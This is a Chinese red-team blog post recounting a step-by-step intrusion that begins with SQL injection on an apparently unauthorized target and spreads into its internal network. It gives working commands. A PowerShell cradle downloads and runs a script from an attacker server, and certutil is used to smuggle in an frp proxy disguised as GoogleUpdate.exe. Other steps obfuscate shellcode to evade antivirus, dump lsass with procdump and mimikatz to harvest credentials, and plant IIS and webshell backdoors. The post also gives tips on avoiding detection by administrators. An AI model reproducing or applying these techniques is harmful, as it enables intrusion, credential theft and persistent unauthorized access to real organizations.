给我一个SQL注入我能干翻你内网

共 3121字,需浏览 7分钟

 ·

2021-02-10 01:30

渗透攻击红队

一个专注于红队攻击的公众号



大家好,这里是 渗透攻击红队 的第 48 篇文章,本公众号会记录一些红队攻击的笔记(由浅到深),不定时更新


前言


一个 SQL 注入可以帮我们的不仅仅是获取数据库表里的数据,还能让我们直接获取到目标服务器的权限,减少我们渗透的时间,本文主要围绕 SQL 注入如何进内网来写的,不多说兄弟们看文章就完事了。



给我一个 SQL 注入我能干翻你内网

卧槽有杀软


首先拿到一个站,权限很小,而且各种上线失败:

发现目标服务器是 2008 r2:

最后使用 powershell 上线,参考的是s1ye师傅的文章:https://www.chabug.org/web/1324.html

powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://xxxxx:9000/1.ps1')

上线后权限有问题,不能执行 shell 。 

估计是对面机器上有杀软,被拦截了。

在这里我犯了一个大忌,直接无脑丢 exe 到目标机器上去执行,而不是先 tasklist 查看进程看看有没有 AV ,再去做免杀,大家在实际的过程中一定要注意,宁愿稳、慢、也不要粗暴!


Mssql 注入反弹 Powershell 上线


由于我们是通过Sql注入拿到的shell,这个时候我们发现目标可以开启xp_cmdshell 执行os-shell:

发现是管理员权限,这个时候通过 powershell 远程下载并执行 exe 上线 CS ,发现被拦截了:

随后使用 bypass 后的 powershell 脚本进行配合 sqlmap 执行命令成功上线:

拿到权限之后发现是一个工作组环境:


CobaltStrike 下的内网渗透


为了接下来的内网渗透,我们进行吧权限迁移到CS或者MSF上,我这边使用CS-Http上线:

之后用cs生成一个ps1,然后进行免杀:

https://www.cnblogs.com/forforever/p/13882312.html

$string = ''$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('这里是编码的 shellcode')$s |foreach { $string = $string + $_.ToString()+','}$string > c:\1.txt


本地测试一下:

powershell -ExecutionPolicy bypass -File .\index.ps1

可以上线!Virustotal 发现 bypass 了大部分 AV:

之后就上传到目标服务器成功上线CS:

虽然上线CS了,但是执行命令不了,可能是被拦截了:

这个时候我们尝试用 https 上线:

重复上面的操作:

随后运行 powershell 上线:

这个时候就能执行命令了:

随后 Run mimikatz 抓到了管理员的明文和哈希:

先不登录他远程桌面,我们先扫描内网存活主机,进行横向渗透:

发现存在大量机器:

之后进行 psexec 横向但是都没上线成功,我先做个流量socks代理:

之后发现他内网基本上都开放了 80 端口:


之后通过一个一个搞,中途拿下了几台机子后好像被发现了,这个时候发现sqlmap也没用了,它直接关站了!


峰回路转


过了几天,由于我之前留了一个 IIS 后门:


为了方便,我写了一个冰蝎马到网站目录

之后翻配置文件翻到了数据库密码:

还是那句话,除了在目标机器上抓系统账号密码,一定要去多翻翻机器上的其他文件:邮件、截截屏、翻翻浏览器记录、收藏夹、注册表、各类客户端软件目录下的配置文件...

这些文件里面很有可能包含大量有价值的账号密码,总之就一句话:拿到机器之后,先别急着上去就开始瞎扫,先把当前机器能翻的翻个底朝天,一直翻到不能动为止!千万别动不动上去不管三七二十一对着内网就说一段胡瞎扫,万一遇到什么流量检测设备苛刻点的环境,或者管理规范经验丰富的网管,可能很快就把你踢出局了,渗透过程中被对方发现是一件非常丢人的事情,实在是有点得不偿失,进入目标内网后,仔细耐心搜集信息永远是第一位的,宁愿慢、稳、也不要粗暴!

之后使用 procdump.exe 抓 lsass.dump 读取密码:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

这里有个坑,我使用 procdump.exe 读取 lsass.dmp 是保存为 2.txt,不知道为什么,目标服务器上只要有  lsass.dmp 就会被杀掉,所以我吧它修改为 txt 然后就不会被杀了,之后下载到本地吧它修改为 lsass.dmp 就没事了!

由于冰蝎的 socks 代理是基于 http 的,不稳定,那么我就用 frp 进行代理,再代理前,我把 客户端的 frp 图标修改为 google 的图标用于麻痹管理员:

然后上传到目标服务器上:

在这里有一个小技巧,如果对面有杀软你上传exe就会被杀,那么你可以使用编码,把 frpc.exe 编码为 txt:

CertUtil -encode frpc.exe frpc.txt

然后再使用 certUtil 下载 frpc.txt :

certutil.exe -urlcache -split -f frpc.txt的地址

之后再目标服务器解码就可以了:

CertUtil -decode frpc.txt frpc.exe

然后进行 frp 内网穿透:

GoogleUpdate.exe -c GoogleUpdate.ini


在然后就可以了:

然后直接上线 CS :

日到这里发现 10.0.0.0 这个网段只有一台主机存活:

那么就很尴尬了,我的目标是拿下目标核心域控,只能重新打点搞了!


峰回路转第二弹 - 注入 Getshell


这个时候就只能重新搞了!

我后面又找到了一些注入点:

但是执行不了命令,估计是写权限被写死了:

没办法,只能通过 SQLMAP 来进行信息搜集了,sqlmap --password 跑出一些密码:

执行 -- sql-shell 可以读取 passwd 文件:

通过读文件,顺水推舟找到了数据库的配置文件:

之后通过sqlmap跑出来后台账号密码:

后台没做限制上传 php 成功 getshell:

然后通过查看网站源代码找到 php 路径:

但是蚁剑链接发现有问题:

这个时候用蚁剑的马上传:

成功 getshell !进入内网后发现没内网,而且没有翻到可利用的东西!哎,那么又得重新打点了!


峰回路转第三弹 - 注入到后台


然后我又找到了几处注入点:

同样不能执行命令:

后面找到后台账号密码登录到后台发现没有什么上传点:

最后日进了一个聊天室,但是没啥用:


结尾


其实本篇的技术不多,都是围绕 SQL 注入来写的,可见一个 SQL 注入就可以帮我们完成这么多的事情,一个 SQL 注入就能干翻内网,还是那句话,渗透的本质就是信息搜集,信息搜集的足够多,你渗透的成功性就会越大!



渗透攻击红队

一个专注于渗透红队攻击的公众号



点分享
点点赞
点在看
浏览 148
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报